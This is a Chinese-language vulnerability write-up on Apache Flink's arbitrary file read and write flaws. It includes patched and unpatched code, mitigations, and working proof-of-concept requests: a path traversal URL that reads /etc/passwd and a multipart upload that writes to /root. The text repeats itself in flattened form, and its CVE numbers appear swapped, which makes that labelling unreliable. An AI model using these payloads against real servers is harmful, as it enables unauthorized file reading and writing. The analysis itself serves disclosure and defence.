Flink 任意文件读取和写入
字数 935 2025-08-18 11:35:59

Apache Flink 任意文件读取和写入漏洞分析

一、漏洞概述

Apache Flink 存在两个高危漏洞:

  1. CVE-2020-17518 - 任意文件读取漏洞
  2. CVE-2020-17519 - 任意文件写入漏洞

这两个漏洞都存在于Flink的Web界面中,攻击者可以通过构造特殊请求实现对服务器文件系统的非法访问。

二、漏洞分析

1. 任意文件读取漏洞 (CVE-2020-17518)

漏洞位置JobManagerCustomLogHandler

漏洞原因

  • 处理日志文件请求时,直接从请求路径参数获取文件名
  • 未对文件名进行规范化处理,导致目录遍历攻击可能

关键代码对比

// 漏洞代码
String filename = handlerRequest.getPathParameter(LogFileNamePathParameter.class);

// 修复代码
String filename = new File(handlerRequest.getPathParameter(LogFileNamePathParameter.class)).getName();

攻击方式
通过构造包含../的路径,可以读取服务器上的任意文件

利用POC

http://target:8081/v1/jobmanager/logs/..%252f..%252f..%252f..%252fetc%252fpasswd
http://target:8081/jobmanager/logs/..%252f..%252f..%252f..%252fetc%252fpasswd

2. 任意文件写入漏洞 (CVE-2020-17519)

漏洞位置FileUploadHandler

漏洞原因

  • 文件上传处理逻辑中,直接使用用户提供的文件名
  • 未对目标路径进行限制,导致可以写入任意位置

关键代码

DiskFileUpload fileUpload = (DiskFileUpload)data;
Preconditions.checkState(fileUpload.isCompleted());
Path dest = this.currentUploadDir.resolve(fileUpload.getFilename());
fileUpload.renameTo(dest.toFile());

攻击方式
通过构造包含路径的文件名,可以将上传的文件移动到服务器上的任意位置

利用POC

POST /test HTTP/1.1
Host: target:8081
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryw6W3L7dPchtqPO4f

------WebKitFormBoundaryw6W3L7dPchtqPO4f
Content-Disposition: form-data; name="xxxx"; filename="/root/test123"
Content-Type: application/octet-stream

test123
------WebKitFormBoundaryw6W3L7dPchtqPO4f--

三、环境搭建与调试

1. 环境准备

  1. 下载Apache Flink安装包
  2. 修改配置文件conf/flink-conf.yaml,添加调试参数:
    env.java.opts.jobmanager: "-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=8006"
    
  3. 使用IntelliJ IDEA配置远程调试

2. 路由信息获取

  1. 访问Flink Web UI (http://ip:8081)
  2. 通过触发错误获取路由信息(如上传非jar文件)
  3. org.apache.flink.runtime.webmonitor.handlers.JarUploadHandler设置断点

四、漏洞验证

1. 任意文件读取验证

  1. 构造包含路径遍历的URL
  2. 观察是否能够读取到目标文件内容

2. 任意文件写入验证

  1. 构造包含绝对路径的文件上传请求
  2. 检查目标路径是否创建了指定文件

五、修复建议

  1. 升级到已修复版本
  2. 临时缓解措施:
    • 限制对Flink Web界面的访问
    • 使用Web应用防火墙(WAF)拦截恶意请求

六、参考链接

  1. Apache Flink官方公告1
  2. Apache Flink官方公告2
Apache Flink 任意文件读取和写入漏洞分析 一、漏洞概述 Apache Flink 存在两个高危漏洞: CVE-2020-17518 - 任意文件读取漏洞 CVE-2020-17519 - 任意文件写入漏洞 这两个漏洞都存在于Flink的Web界面中,攻击者可以通过构造特殊请求实现对服务器文件系统的非法访问。 二、漏洞分析 1. 任意文件读取漏洞 (CVE-2020-17518) 漏洞位置 : JobManagerCustomLogHandler 类 漏洞原因 : 处理日志文件请求时,直接从请求路径参数获取文件名 未对文件名进行规范化处理,导致目录遍历攻击可能 关键代码对比 : 攻击方式 : 通过构造包含 ../ 的路径,可以读取服务器上的任意文件 利用POC : 2. 任意文件写入漏洞 (CVE-2020-17519) 漏洞位置 : FileUploadHandler 类 漏洞原因 : 文件上传处理逻辑中,直接使用用户提供的文件名 未对目标路径进行限制,导致可以写入任意位置 关键代码 : 攻击方式 : 通过构造包含路径的文件名,可以将上传的文件移动到服务器上的任意位置 利用POC : 三、环境搭建与调试 1. 环境准备 下载Apache Flink安装包 修改配置文件 conf/flink-conf.yaml ,添加调试参数: 使用IntelliJ IDEA配置远程调试 2. 路由信息获取 访问Flink Web UI (http://ip:8081) 通过触发错误获取路由信息(如上传非jar文件) 在 org.apache.flink.runtime.webmonitor.handlers.JarUploadHandler 设置断点 四、漏洞验证 1. 任意文件读取验证 构造包含路径遍历的URL 观察是否能够读取到目标文件内容 2. 任意文件写入验证 构造包含绝对路径的文件上传请求 检查目标路径是否创建了指定文件 五、修复建议 升级到已修复版本 临时缓解措施: 限制对Flink Web界面的访问 使用Web应用防火墙(WAF)拦截恶意请求 六、参考链接 Apache Flink官方公告1 Apache Flink官方公告2